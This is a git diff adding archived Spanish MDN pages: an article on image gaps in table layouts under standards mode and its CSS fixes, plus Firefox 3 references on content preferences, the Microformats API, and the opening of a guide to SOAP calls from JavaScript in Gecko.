+<p>A partir de 2001 y el auge de los navegadores conformes que muestran las páginas usando HTML y CSS en vez de sus propios algoritmos de diseño, y a causa de un detalle poco conocido de la especificación de CSS, todo diseño basado en maquetación con tablas e imágenes espaciadoras se ha convertido en un desastre visual esperando ser visitado. Todo lo que necesitas es un navegador moderno, un DOCTYPE apropiado, y... ¡Boom!</p>
+<h3 id="Los_componentes" name="Los_componentes">Los componentes</h3>
+<p>Veamos más de cerca la reproducción del problema, y el porqué del mismo. Empezaremos con un ejemplo sencillo, ilustrado en la Figura 1: una celda de una tabla que contiene una imagen.</p>
+<p><img align="none" alt="Figura 1" class=" internal" src="/@api/deki/files/1119/=Images-tables-gaps-figure1.gif"></p>
+<p>Evidentemente la mayoría de los diseños son más complicados que este, pero no necesitamos más para lo que nos proponemos. Una imagen y una celda es todo lo que necesitamos. Aparentemente no hay nada incorrecto en ese ejemplo. Y no debería haberlo, ya que es una muestra de cómo los navegadores se comportaban tradicionalmente.</p>
+<p>Veamos ahora cómo es mostrada esa misma tabla en un navegador moderno cuando la página tiene un DOCTYPE estricto.</p>
+<p><img align="none" alt="Figura 2" class=" internal" src="/@api/deki/files/1122/=Images-tables-gaps-figure2.gif"></p>
+<p>Observa el espacio que aparece debajo de la imagen en la Figura 2. El diseño de ambas tablas y celdas es el mismo, es el modo de renderizado el que ha cambiado. La celda, en vez de ceñirse a las dimensiones de la imagen, ahora envuelve también la línea en la que reposa la imagen. La imagen reposa en una línea porque las imágenes son, por defecto, contenido en línea. Eso es lo que pasa.</p>
+<h3 id="C.C3.B3mo_se_construye_el_contenido_en_l.C3.ADnea" name="C.C3.B3mo_se_construye_el_contenido_en_l.C3.ADnea">Cómo se construye el contenido en línea</h3>
+<p>Para entender qué ha sucedido, veremos la construcción de una línea, el emplazamiento de las imágenes dentro de una línea, y el emplazamiento de una línea dentro de la celda de una tabla. Primero veamos una línea básica que contiene texto, como la de la Figura 3.</p>
+<p><img align="none" alt="Figura 3" class=" internal" src="/@api/deki/files/1123/=Images-tables-gaps-figure3.gif"></p>
+<p>La parte más importante de la Figura 3 es la línea base (representada con una línea azul), y su posición dentro de la línea. El emplazamiento exacto de la línea base depende de la tipografía por "defecto" de la línea (representada por el cuadro rojo). La tipografía está determinada por el valor de font-family del elemento que contiene la línea. El autor no puede cambiar la línea base directamente; por eso, donde quiera que esté, ahí se queda. El espacio debajo de la línea base se llama "espacio de descenso" ya que es hasta donde desciende el trazo inferior de letras como "j", "y", o "q". La Figura 4 nos muestra qué pasa cuando añadimos una imagen a la composición.</p>
+<p><img align="none" alt="Figura 4" class=" internal" src="/@api/deki/files/1124/=Images-tables-gaps-figure4.gif"></p>
+<p>Observa dónde reposa por defecto la imagen: su parte inferior esta alineada con la línea base. Este emplazamiento se puede cambiar con <code>vertical-align</code>, hablaremos de ello en breve, pero casi nadie cambia su valor por defecto. Quitemos el texto y dejemos sólo la imagen, como hemos hecho en la Figura 5.</p>
+<p><img align="none" alt="Figura 5" class=" internal" src="/@api/deki/files/1125/=Images-tables-gaps-figure5.gif"></p>
+<p>Tenemos una imagen posada en la línea base de la línea que contiene la imagen. Veamos qué ocurre cuando ponemos esa línea en la celda de una tabla (Figura 6).</p>
+<p><img align="none" alt="Figura 6" class=" internal" src="/@api/deki/files/1126/=Images-tables-gaps-figure6.gif"></p>
+<p>Aquí lo tienes, espacios abiertos donde nunca se han visto antes. Es incluso peor con imágenes pequeñas, como las espaciadoras de un píxel, como la que se muestra en la Figura 7.</p>
+<p><img align="none" alt="Figura 7" class=" internal" src="/@api/deki/files/1127/=Images-tables-gaps-figure7.gif"></p>
+<p>Ahora sobra espacio por todos lados. Suficiente para volver loco a cualquier diseñador.</p>
+<h3 id=".C2.BFQu.C3.A9_tal_si_lo_arreglamos.3F" name=".C2.BFQu.C3.A9_tal_si_lo_arreglamos.3F">¿Qué tal si lo arreglamos?</h3>
+<p>Hay una solución evidente, dejar de crear diseños que dependan de tablas e imágenes espaciadoras o recortadas. Pero para muchos diseñadores esto no resulta práctico, y seguro que no ayudará a arreglar diseños antiguos que de repente se ven mal en los navegadores actuales. Hay otra solución, asegurarte de que tu documento no activa el modo de renderizado "estándar".</p>
+<p>Puedes hacerlo usando un DOCTYPE que active el <a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">modo quirks</a> o el <a href="/es/Modo_casi_estándar_de_Gecko" title="es/Modo_casi_estándar_de_Gecko">modo "casi estándar"</a>, o no usando ningún DOCTYPE. No usar DOCTYPE te impedirá validar el código, por lo que no es recomendable. Para los autores que estén trabajando con documentos heredados, el modo "quirks" es la mejor opción. En los casos en los que el autor esté escribiendo documentos nuevos o intentando migrar un diseño para hacerlo tan estándar como sea posible, entonces el modo "casi estándar" será probablemente la mejor elección.</p>
+<p>Por supuesto, los documentos creados en XHTML estricto o HTML estricto usarán el modo de renderizado "estándar", por lo que tenemos dos vías para solventar el problema en los documentos estrictos.</p>
+<h4 id="Poner_las_im.C3.A1genes_en_bloque" name="Poner_las_im.C3.A1genes_en_bloque">Poner las imágenes en bloque</h4>
+<p>La primera opción, que funcionará para la mayoría de los diseños con mucho contenido gráfico, es convertir la imagen que es inicialmente un elemento en línea, en un elemento en bloque. Hazlo y no se generará nunca más una imagen en línea, y así el problema queda resuelto, esto asumiendo que esa imagen es la única cosa que está en esa celda. En los casos simples, podemos añadir en el css un estilo como este:</p>
+<pre> td img {display: block;}</pre>
+<p>Este recurso se aplica no sólo a las imágenes sino también a los objetos como por ejemplo las animaciones Flash (swf). Para los objetos debemos introducir en el css la línea:</p>
+<pre> td object {display: block;}</pre>
+<p><br>
+Considera esta regla cuando la aplicamos al siguiente código:</p>
+<pre>&lt;table cellspacing="0" cellpadding="0" border="0" width="500"&gt;
+&lt;tr&gt; &lt;td&gt; &lt;img src="boton1.gif"&gt; &lt;img src="boton2.gif"&gt; &lt;img src="boton3.gif"&gt;
+          &lt;img src="boton4.gif"&gt; &lt;img src="boton5.gif"&gt; &lt;/td&gt; &lt;/tr&gt;
+&lt;tr&gt; &lt;td style="background: red;"&gt;
+          &lt;img src="puntorojo.gif" height="1" width="1"&gt; &lt;/td&gt; &lt;/tr&gt;
+&lt;tr&gt; &lt;td&gt;
+        &lt;p style="margin: 0.5em;"&gt;Este texto esta en otra celda de la tabla.
+         Dentro del texto hay un icono &lt;img src="icon2.gif"&gt;
+         que indica que el enlace apunta a otra página.  Es muy astuto. &lt;/p&gt; &lt;/td&gt; &lt;/tr&gt;
+&lt;/table&gt;
+</pre>
+<p>Como podemos ver en la Figura 8, eso funciona bien en algunos casos pero no tanto en otros.</p>
+<p><img align="none" alt="Figura 8" class=" internal" src="/@api/deki/files/1128/=Images-tables-gaps-figure8.gif"></p>
+<p>La línea roja muestra que el GIF espaciador de un píxel está haciendo ahora que la celda tenga un píxel de alto, como el diseñador pretendía. Por desgracia, ahora los botones de la celda están todos en bloque, y por eso aparecen uno debajo del otro, en vez de mostrarse uno al lado del otro.</p>
+<p>Una posible solución es añadir un <code>class</code> a cualquier imagen que necesite estar en bloque y después escribir la regla que se adapte.</p>
+<pre>td img.enbloque {display: block;}
+
+&lt;td&gt;&lt;img src="reddot.gif" class="enbloque"&gt;&lt;/td&gt;</pre>
+<p>Dependiendo del diseño, puede que tengamos que añadir muchos <code>class</code> para conseguir este simple efecto. Aún más si hay varias celdas de un píxel que se espere que creen "stacked lines" o algo parecido. Si tienes un código de este tipo, puedes aplicar la clase en las filas de la tabla en vez de en las imágenes. Para lo que tendrás:</p>
+<pre>  tr.enbloque img {display: block;}
+</pre>
+<p>...así como el siguiente cambio en el código html:</p>
+<pre>&lt;tr class="enbloque"&gt;&lt;td style="background: red;"&gt;
+&lt;img src="puntorojo.gif" height="1" width="1"&gt;
+&lt;/td&gt;&lt;/tr&gt;</pre>
+<p>El resultado es que sólo el GIF espaciador está en bloque, así dejamos las otras imágenes tranquilas. Esto nos lleva al resultado que se ve en la Figura 9.</p>
+<p><img align="none" alt="Figura 9" class=" internal" src="/@api/deki/files/1129/=Images-tables-gaps-figure9.gif"></p>
+<p>Como alternativa, si lo prefieres, puedes ponerle la clase a las celdas en vez de a las filas. En cualquier caso, poner las imágenes en bloque puede provocar efectos indeseados si las celdas de tus tablas contienen más de una imagen, como en la Figura 8.</p>
+<p>Por supuesto, aunque tenemos un espaciador de celda de un píxel en la Figura 9, hay un espacio indeseado justo debajo de los botones de navegación de la parte superior. Deshacerse de este espacio es tan fácil como poner cada imagen en su propia celda y hacer que todas estén en bloque, pero dejémoslas todas juntas en una única celda y así podremos ilustrar otro ejemplo.</p>
+<h4 id="Usar_la_alineaci.C3.B3n_vertical" name="Usar_la_alineaci.C3.B3n_vertical">Usar la alineación vertical</h4>
+<p>Otra elección habitual es dejar la imagen en línea y modificar el alineamiento vertical de la imagen con respecto a la caja de la línea. Por ejemplo, puedes probar lo siguiente:</p>
+<pre>td img {vertical-align: bottom;}</pre>
+<p>Esto hará que el borde inferior de las imágenes se alinee con la parte inferior de la caja de la línea, en vez de alinearse con la línea base. Como podemos ver en el la Figura 10, tiene el efecto deseado: el espacio debajo de las imágenes de la barra de navegación ha desaparecido. Sin embargo, la celda decorativa es aún demasiado alta, y otras imágenes esta desalineadas respecto del texto de circundante.</p>
+<p><img align="none" alt="Figura 10" class=" internal" src="/@api/deki/files/1120/=Images-tables-gaps-figure10.gif"></p>
+<p>De nuevo, podemos ponerle clases a las imágenes, celdas, o filas para reducir el efecto del problema. Sin embargo, los estilos anteriormente mostrados no solucionarán el problema de las imágenes de un píxel, porque la caja en línea que la contiene tendrá la altura que tenga el tamaño de la fuente, y por ello no nos lo reducirá. La imagen se moverá a la parte inferior de la celda, pero la celda no se ajustará a la imagen. Además, cualquier otra imagen que sea más pequeña que la altura de la caja de la línea tendrá espacio alrededor, como pasaba con la celda espaciadora roja. La imagen de un píxel en la celda se alineará con la parte inferior de la misma, pero la caja en línea ha vuelto y con el tamaño del texto normal.</p>
+<p>Mira, por ejemplo, la Figura 11, donde el tamaño de la fuente del documento es bastante grande. Las imágenes de la barra de navegación tienen ahora un espacio encima, y el espaciador rojo ahora es incluso más grande.</p>
+<p><img align="none" alt="Figura 11" class=" internal" src="/@api/deki/files/1121/=Images-tables-gaps-figure11.gif"></p>
+<p>Es difícil evitar esto, ya que las imágenes aún están en línea y por eso participan en la creación de la caja en línea. Si esa caja en línea se hace lo suficientemente alta, aparecerá un espacio rodeando las imágenes.</p>
+<h3 id="Esperando_una_soluci.C3.B3n" name="Esperando_una_soluci.C3.B3n">Esperando una solución</h3>
+<p>Gracias a la minuciosa implementación de CSS 2 por parte de Mozilla, el problema de las imágenes en línea dentro de celdas que crean espacios indeseados ha llamado la atención del grupo de trabajo de CSS. Se han planteado varias propuestas para solucionar el problema, una de las más prometedoras es la propiedad <a class="external" href="http://www.w3.org/TR/css3-box/#line-box-contain">line-box-contain</a>, que ha sido propuesta para su inclusión en CSS 3. Cuando esta propiedad sea adoptada, cualquier navegador que la implemente podrá emular el comportamiento tradicional de "reducción" sin modificar otros diseños con la siguiente regla:</p>
+<pre>td {line-box-contain: font replaced;}  /* propuesto para CSS3 */</pre>
+<p>Hay otros posibles arreglos dentro del plan de trabajo actual de CSS3, como la <a class="external" href="http://www.w3.org/TR/css3-box/#line-height">line-height-policy</a>. Evidentemente, cuanto antes se encuentre e implemente una solución, antes se complacerá a todos los autores.</p>
+<h3 id="Recomendaciones" name="Recomendaciones">Recomendaciones</h3>
+<p>Sin soporte para CSS3 es difícil facilitar una serie de pasos a seguir para solucionar todas las variantes de este problema, ya que la mejor solución para un documento dado dependerá en gran medida de su estructura. Si tu documento usa un marcado transitional, asegúrate de que tu DOCTYPE refleja ese hecho y no activa el modo "estándar". Esto evitará que los navegadores usen el renderizado estándar, y de esta manera se evitan todos los problemas de diseño en las imágenes. Si estas usando HTML estricto, o necesitas por otros motivos el renderizado "estándar", entonces recuerda estas pautas:</p>
+<ul> <li>Cualquier imagen sola en una celda de una tabla (e.j. imágenes espaciadoras de un píxel) deben tener un display: block;.</li> <li>Cualquier imagen que comparta celda con otras imágenes debe ser alineada verticalmente con la parte inferior de la línea.</li> <li>Cualquier imagen que comparta celda con otras imágenes y texto debe tener su alineación vertical modificada, si fuese necesario.</li>
+</ul>
+<p>Con una juiciosa mezcla de aproximaciones y reduciendo los trucos con imágenes de un píxel, los cuales -en un navegador que implemente CSS- son innecesarios, es posible evitar estos efectos extraños derivados de la implementación de los estándares. La mejor solución podría ser asegurarse que las imágenes están siempre en una celda ellas solas, esto permite a los autores ponerlas en bloque, pero como siempre esto dependerá del diseño del autor.</p>
+<h3 id="Enlaces_relacionados" name="Enlaces_relacionados">Enlaces relacionados</h3>
+<ul> <li><a href="/es/Modo_casi_estándar_de_Gecko" title="es/Modo_casi_estándar_de_Gecko">El modo <em>casi estándar</em></a></li> <li><a class="external" href="http://www.mozilla.org/docs/web-developer/quirks/">El modo <em>quirks</em></a></li>
+</ul>
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+<ul> <li>Autor(es): Eric A. Meyer</li> <li>Última actualización: 21 de marzo de 2003</li> <li>Copyright © 2001-2003 Netscape.</li>
+</ul></div>
+<p> </p>
+<p></p>
diff --git a/files/es/archive/misc_top_level/index.html b/files/es/archive/misc_top_level/index.html
new file mode 100644
index 0000000000..95bf3b61ab
--- /dev/null
+++ b/files/es/archive/misc_top_level/index.html
@@ -0,0 +1,8 @@
+---
+title: Misc top level
+slug: Archive/Misc_top_level
+translation_of: Archive/Misc_top_level
+---
+<p>In progress. These pages were moved from the top level of MDN in a spate of furious reorganization.</p>
+
+<p></p>
diff --git a/files/es/archive/misc_top_level/usar_las_preferencias_de_contenido/index.html b/files/es/archive/misc_top_level/usar_las_preferencias_de_contenido/index.html
new file mode 100644
index 0000000000..d188b50bf4
--- /dev/null
+++ b/files/es/archive/misc_top_level/usar_las_preferencias_de_contenido/index.html
@@ -0,0 +1,38 @@
+---
+title: Usar las preferencias de contenido
+slug: Archive/Misc_top_level/Usar_las_preferencias_de_contenido
+tags:
+  - Firefox 3
+translation_of: Archive/Misc_top_level/Using_content_preferences
+---
+<p>
+Firefox 3 introduce el concepto de las preferencias sobre el contenido. Esto permite ejecutar código dentro del chrome (en otras palabras: las extensiones y el navegador en sí, no los sitios web) para guardar las preferencias a nivel local en cada sitio. Esto hace posible escribir una extensión que permita al usuario personalizar la apariencia de sitios web específicos (por ejemplo, poner el tamaño de letra más grande en los sitios que utilizan fuentes muy pequeñas).
+</p><p>El servicio de preferencias de contenido, ejecutado por <a href="es/NsIContentPrefService">nsIContentPrefService</a>, ofrece funciones para fijar y recuperar las preferencias para determinados sitios o preferencias globales. Las preferencias globales se utilizan cada vez que una preferencia para un sitio específico no está disponible.
+</p>
+<h3 id="Ejemplo:_Configurar_y_recuperar_preferencias" name="Ejemplo:_Configurar_y_recuperar_preferencias">Ejemplo: Configurar y recuperar preferencias</h3>
+<p>Este ejemplo demuestra como guardar preferencias y después recuperarlas </p>
+<pre class="eval">var ioSvc = Components.classes["@mozilla.org/network/io-service;1"]
+            .getService(Components.interfaces.nsIIOService);
+var prefService = Components.classes["@mozilla.org/content-pref/service;1"]
+                  .getService(Components.interfaces.nsIContentPrefService);
+
+// Crea un objeto URI con la referencia del sitio por el cual se guardará la preferencia
+var uri = ioSvc.newURI("<span class="nowiki">http://developer.mozilla.org/</span>", null, null);
+
+// Define el valor de la preferencia "devmo.somesetting" a "foo".
+
+prefService.setPref(uri, "devmo.somesetting", "foo");
+
+...
+
+// Devuelve el valor de la preferencia "devmo.somesetting".
+
+var value = prefService.getPref(uri, "devmo.somesetting");
+</pre>
+<h3 id="V.C3.A9ase_tambi.C3.A9n" name="V.C3.A9ase_tambi.C3.A9n">Véase también</h3>
+<p><code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefService" title="">nsIContentPrefService</a></code>, <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIContentPrefObserver" title="">nsIContentPrefObserver</a></code>
+</p><p><br>
+</p><p><br>
+</p>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/mozilla/firefox/el_uso_de_microformatos/index.html b/files/es/archive/mozilla/firefox/el_uso_de_microformatos/index.html
new file mode 100644
index 0000000000..e264fc04c9
--- /dev/null
+++ b/files/es/archive/mozilla/firefox/el_uso_de_microformatos/index.html
@@ -0,0 +1,218 @@
+---
+title: El uso de microformatos
+slug: Archive/Mozilla/Firefox/El_uso_de_microformatos
+tags:
+  - Firefox 3
+  - Microformatos
+translation_of: Archive/Mozilla/Firefox/Using_microformats
+---
+<p> Los microformatos permiten a un sitio web ofrecer datos semánticos a los navegadores de forma que sea posible presentar resúmenes de la información en una página sin que sea necesario saber cómo analizar el documento en si mismo. Firefox 3 implementa un objeto global <code>Microformats</code> que permite el acceso a estos microformatos. Este objeto y su API hacen de la búsqueda y lectura de microformatos, algo fácil.</p>
+
+<h2 id="Cargar_el_API_de_Microformatos" name="Cargar_el_API_de_Microformatos">Cargar el API de Microformatos</h2>
+
+<p>El objeto <code>Microformats</code> se crea usando el nuevo cargador de JavaScript integrado en Firefox 3. Para usar este API, primero necesitas cargar el objeto:</p>
+
+<pre class="eval"><span class="nowiki">Components.utils.import("resource://gre/modules/Microformats.js");</span>
+</pre>
+
+<p>Una vez cargado del API de Microformatos, puedes manejar los Microformatos usando los métodos que aquí listamos. Para información sobre cómo analizar los Microformatos, lee: <a href="es/Analizar_microformatos_en_JavaScript">Analizar microformatos en JavaScript</a>.</p>
+
+<h2 id="Microformatos_predefinidos" name="Microformatos_predefinidos">Microformatos predefinidos</h2>
+
+<p>Firefox 3 ofrece varios Microformatos integrados:</p>
+
+<dl>
+ <dt><code><a href="es/El_Microformato_adr">adr</a></code></dt>
+ <dd>Representa una dirección (como una calle o una dirección postal).</dd>
+ <dt><code><a href="es/El_Microformato_geo">geo</a></code></dt>
+ <dd>Representa una localización geográfica usando coordenadas de latitud y longitud.</dd>
+ <dt><code><a href="es/El_Microformato_hCard">hCard</a></code></dt>
+ <dd>Representa la información de contacto de una persona.</dd>
+ <dt><code><a href="es/El_Microformato_hCalendar">hCalendar</a></code></dt>
+ <dd>Representa una entrada en un calendario o la cita en una agenda.</dd>
+ <dt><code><a href="es/El_Microformato_tag">tag</a></code></dt>
+ <dd>Se usa para añadir pestañas a otros Microformatos.</dd>
+</dl>
+
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+
+<h3 id="add.28.29" name="add.28.29">add()</h3>
+
+<p>Añade un nuevo Microformato al módulo de Microformatos.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Si ya existe un microformato con el mismo nombre, será reemplazado por el nuevo.</p>
+</div>
+
+<pre class="eval">add(name, definition);
+</pre>
+
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+
+<dl>
+ <dt>name</dt>
+ <dd>El nombre del microformato a añadir al módulo.</dd>
+ <dt>definición</dt>
+ <dd>Una estructura JavaScript que describe el microformato. Ver <a href="es/Crear_microformatos_en_JavaScript">Crear microformatos en JavaScript</a> para más detalles.</dd>
+</dl>
+
+<h3 id="count.28.29" name="count.28.29">count()</h3>
+
+<p>Cuenta el número de microformatos que hay en un documento que cumple con determinado criterio.</p>
+
+<pre class="eval">numMicroformats = Microformats.count(name, rootElement, options);
+</pre>
+
+<h6 id="Par.C3.A1metros_2" name="Par.C3.A1metros_2">Parámetros</h6>
+
+<dl>
+ <dt>name</dt>
+ <dd>El nombre del microformato que queremos contar.</dd>
+ <dt>rootElement</dt>
+ <dd>Requerido. El elemento DOM en dónde empezar la búsqueda. Si deseas buscar en el documento entero, especifica <code>content.document</code>.</dd>
+ <dt>options</dt>
+ <dd>Opcional. Cuando se especifica, este es un objeto JavaScript que contiene cero o más de los siguientes flag:</dd>
+</dl>
+
+<blockquote>
+<dl>
+ <dt>recurseExternalFrames</dt>
+ <dd>Si es <code>true</code>, se incluyen los marcos (frames) hijos en la búsqueda. Por defecto es <code>true</code>.</dd>
+ <dt>showHidden</dt>
+ <dd>Si es <code>true</code>, se añaden microformatos ocultos, en caso contrario, se ignoran. Por defecto es <code>false</code>.</dd>
+ <dt>debug</dt>
+ <dd>Se especifica a <code>true</code> cuando se usa el modo de "debug", en caso contrario es <code>false</code>. Por defecto es <code>false</code>.</dd>
+</dl>
+</blockquote>
+
+<h6 id="Valor_devuelto" name="Valor_devuelto">Valor devuelto</h6>
+
+<p>Un valor entero que indica el número de microformatos que cumplen el criterio especificado.</p>
+
+<h3 id="debug.28.29" name="debug.28.29">debug()</h3>
+
+<p>Devuelve una cadena que describe un objeto microformato.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Pueds simplemente llamar a <code>debug()</code> en un objeto microformato: <code>microformatObject.debug()</code> en lugar de usar este método, si lo prefieres.</p>
+</div>
+
+<pre class="eval">dumpString = debug(microformatObject)
+</pre>
+
+<h6 id="Par.C3.A1metros_3" name="Par.C3.A1metros_3">Parámetros</h6>
+
+<dl>
+ <dt>microformatObject</dt>
+ <dd>El objeto microformato a descargar.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_2" name="Valor_devuelto_2">Valor devuelto</h6>
+
+<p>Una cadena que describe el contenido del objeto microformato especificado.</p>
+
+<h3 id="get.28.29" name="get.28.29">get()</h3>
+
+<p>Devuelve una matriz de objetos microformato encontrados, que cumplen con el criterio especificado.</p>
+
+<pre class="eval">microformatsArray = Microformats.get(name, rootElement, options, targetArray);
+</pre>
+
+<h6 id="Par.C3.A1metros_4" name="Par.C3.A1metros_4">Parámetros</h6>
+
+<dl>
+ <dt>name</dt>
+ <dd>El nombre del microformato a encontrar.</dd>
+ <dt>rootElement</dt>
+ <dd>Requerido. El elemento DOM donde debe comenzar la búsqueda. Si quieres buscar el documento entero, especifica <code>content.document</code>.</dd>
+ <dt>options</dt>
+ <dd>Opcional. Si se especifica, es un objeto JavaScript que contiene cero o más de los siguientes flag:</dd>
+</dl>
+
+<blockquote>
+<dl>
+ <dt>recurseExternalFrames</dt>
+ <dd>Si es <code>true</code>, se incluyen los marcos hijo que hagan referencia a contenido externo, en la búsqueda. Por defecto es <code>true</code>.</dd>
+ <dt>showHidden</dt>
+ <dd>Si es <code>true</code>, se incluyen los microformatos ocultos, en caso contrario se ignoran. Por defecto es <code>false</code>.</dd>
+ <dt>debug</dt>
+ <dd>Especifica <code>true</code> si se está en modo "debug", en caso contrario es <code>false</code>. Por defecto es <code>false</code>.</dd>
+</dl>
+</blockquote>
+
+<dl>
+ <dt>targetArray</dt>
+ <dd>Opcional. Cuando se especifica, es una matriz de objetos microformatos en donde se añaden lso objetos microformato resultantes de la búsqueda.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_3" name="Valor_devuelto_3">Valor devuelto</h6>
+
+<p>Una nueva matriz de objetos microformato que cumplen con el criterio de búsqueda, o la matriz especificada por microformats con los nuevos microformatos encontrados añadidos.</p>
+
+<h3 id="getNamesFromNode.28.29" name="getNamesFromNode.28.29">getNamesFromNode()</h3>
+
+<p>Devuelve una lista, delimitada por espacios, de nombres de microformatos que corresponde al nodo especificado.</p>
+
+<pre class="eval">nameList = Microformats.getNamesFromNode(node);
+</pre>
+
+<h6 id="Par.C3.A1metros_5" name="Par.C3.A1metros_5">Parámetros</h6>
+
+<dl>
+ <dt>node</dt>
+ <dd>El nodo en el cual leer una lista de nombres de microformatos.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_4" name="Valor_devuelto_4">Valor devuelto</h6>
+
+<p>Si el node especificado es un microformato, el resultado es una cadena conteniendo, delimitados por especios, los nombres de todos los microformatos que corresponden al nodo. Si el nodo no es un microformato, no se devuelve nada.</p>
+
+<h3 id="getParent.28.29" name="getParent.28.29">getParent()</h3>
+
+<p>Devuelve el nodo padre del microformato especificado o hijo de un microformato.</p>
+
+<pre class="eval">parentNode = Microformats.getParent(node);
+</pre>
+
+<h6 id="Par.C3.A1metros_6" name="Par.C3.A1metros_6">Parámetros</h6>
+
+<dl>
+ <dt>node</dt>
+ <dd>El nodo cuyo padre quieres obtener.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_5" name="Valor_devuelto_5">Valor devuelto</h6>
+
+<p>El padre del nodo especificado. No devuelve nada si el node especificado no es un microformato o el hijo de un microformato.</p>
+
+<h3 id="isMicroformat.28.29" name="isMicroformat.28.29">isMicroformat()</h3>
+
+<p>Determina si el nodo DOM especificado es o no un microformato.</p>
+
+<pre class="eval">flag = Microformats.isMicroformat(node);
+</pre>
+
+<h6 id="Par.C3.A1metros_7" name="Par.C3.A1metros_7">Parámetros</h6>
+
+<dl>
+ <dt>node</dt>
+ <dd>El nodo DOM a comprobar si es un microformato.</dd>
+</dl>
+
+<h6 id="Valor_devuelto_6" name="Valor_devuelto_6">Valor devuelto</h6>
+
+<p>Devuelve <code>true</code> si el nodo es un microformato y <code>false</code> en caso contrario.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Este método<em>no</em> devuelve <code>true</code> si el nodo es hijo de un microformato.</p>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<p> </p>
+
+<ul>
+ <li><a href="http://www.microformats.org/" title="http://www.microformats.org">Microformats.org</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/es/archive/mozilla/firefox/index.html b/files/es/archive/mozilla/firefox/index.html
new file mode 100644
index 0000000000..9e61c718ff
--- /dev/null
+++ b/files/es/archive/mozilla/firefox/index.html
@@ -0,0 +1,8 @@
+---
+title: Firefox
+slug: Archive/Mozilla/Firefox
+translation_of: Archive/Mozilla/Firefox
+---
+<p>In progress. Out-of-date information about the Firefox project.</p>
+
+<p></p>
diff --git a/files/es/archive/mozilla/firefox/soap_en_los_navegadores_basados_en_gecko/index.html b/files/es/archive/mozilla/firefox/soap_en_los_navegadores_basados_en_gecko/index.html
new file mode 100644
index 0000000000..0ab155e7b2
--- /dev/null
+++ b/files/es/archive/mozilla/firefox/soap_en_los_navegadores_basados_en_gecko/index.html
@@ -0,0 +1,264 @@
+---
+title: SOAP en los navegadores basados en Gecko
+slug: Archive/Mozilla/Firefox/SOAP_en_los_navegadores_basados_en_Gecko
+tags:
+  - SOAP
+  - Servicios_Web_XML
+  - Todas_las_Categorías
+translation_of: Archive/Mozilla/Firefox/SOAP_in_Gecko-based_Browsers
+---
+<p> </p>
+<p>Este artículo muestra cómo acceder a los servicios web utilizando las posibilidades de SOAP y JavaScript disponibles en los últimos navegadores basados en Gecko.</p>
+<h3 id="Introducci.C3.B3n" name="Introducci.C3.B3n">Introducción</h3>
+<p><a class="external" href="http://www.w3.org/TR/SOAP/">SOAP</a> (Simple Object Access Protocol, protocolo simple de acceso a objetos) es la base sobre la que se construyen los servicios web. Es un protocolo basado en XML utilizado para poder comunicarse e interoperar con los servicios web. Mozilla 1.0 (sobre el cual ha sido construido Netscape 7.0x) y Firefox son capaces de comunicarse directamente con los servicios web a través de su implementación de SOAP a bajo nivel a través de JavaScript.</p>
+<p>La interfaz de JavaScript de Gecko que establece llamadas SOAP es una API de bajo nivel que precisa de una para construir el mensaje SOAP utilizando varios objetos de JavaScript específicos para SOAP. Este artículo explicará las operaciones básicas de SOAP. Para más detalles véase la API de SOAP a bajo nivel en Gecko <a class="external" href="http://lxr.mozilla.org/mozilla/source/extensions/webservices/docs/Soap_Scripts_in_Mozilla.html">aquí</a>.</p>
+<p><span class="comment">Traducido cross domain access como acceso multidominio ¿¿??</span> El uso de JavaScript para la comunicación con los servicios web está sujeto a las mismas políticas de seguridad que otros scripts en términos de acceso multidominio. Por tanto, el acceso a servicios web ubicados en servidores distintos al servidor en el que se está ejecutando JavaScript violará la política de multidominio. Este artículo mostrará cómo esquivar temporalmente esto para hacer pruebas.</p>
+<h3 id="Configurar_una_llamada_SOAP" name="Configurar_una_llamada_SOAP">Configurar una llamada SOAP</h3>
+<p>El objeto más básico es <code>SOAPCall</code>, el cual es usado para iniciar e invocar una llamada SOAP.</p>
+<p>Figura 1 : Configuración básica e invocación de una llamada SOAP</p>
+<pre>var mySOAPCall = new SOAPCall();
+mySOAPCall.transportURI = "http-based service URI"
+
+var parameters = new Array();
+mySOAPCall.encode(SOAPCall.VERSION_1_1,
+                  // method
+                  "method", "namespaceURI",
+                  // header block
+                  0, null,
+                  // parameter
+                  parameters.length, parameters);
+
+var response = mySOAPCall.invoke();
+</pre>
+<p>El objeto <code>SOAPCall</code> posee un miembro llamado <code>transportURI</code> que es el URI de la localización a donde se debe enviar la llamada SOAP. El método <code>encode()</code> necesita el nombre del método a llamar en el servicio web, su
+ <i>
+  namespaceURI</i>
+ , el número de
+ <i>
+  SOAPParameters</i>
+ pasados y un array de
+ <i>
+  SOAPParameters</i>
+ que contendrá todos los parámetros. Todos estos parámetros pueden conocerse en el fichero WSDL del servicio web, el cual será explicado en la sección de ejemplos.</p>
+<p>Los parámetros SOAP son creados usando el objeto <code>SOAPParameter</code>. Son pares de nombre/valor que son pasados al servicio web.</p>
+<p>Figura 2: Crear un parámetro SOAP</p>
+<pre>var param = new SOAPParameter();
+param.name = "translationmode";
+param.value = "en_fr";
+</pre>
+<h3 id="Manejar_una_respuesta" name="Manejar_una_respuesta">Manejar una respuesta</h3>
+<p>Una vez <code>invoke()</code> ha sido llamado, Gecko genera el contenedor SOAP y lo envía al URI especificado. Como la petición es síncrona, la respuesta es el valor devuelto desde <code>invoke()</code>.</p>
+<p>Figura 3 : Manejar la respuesta de una llamada SOAP</p>
+<pre>var returnObject = mySOAPCall.invoke();
+
+if(returnObject.fault){
+  alert("An error occured: " + returnObject.fault.faultString);
+} else {
+  var response = new Array();
+  response = returnObject.getParameters(false, {});
+  alert("Return value: " + response[0].value);
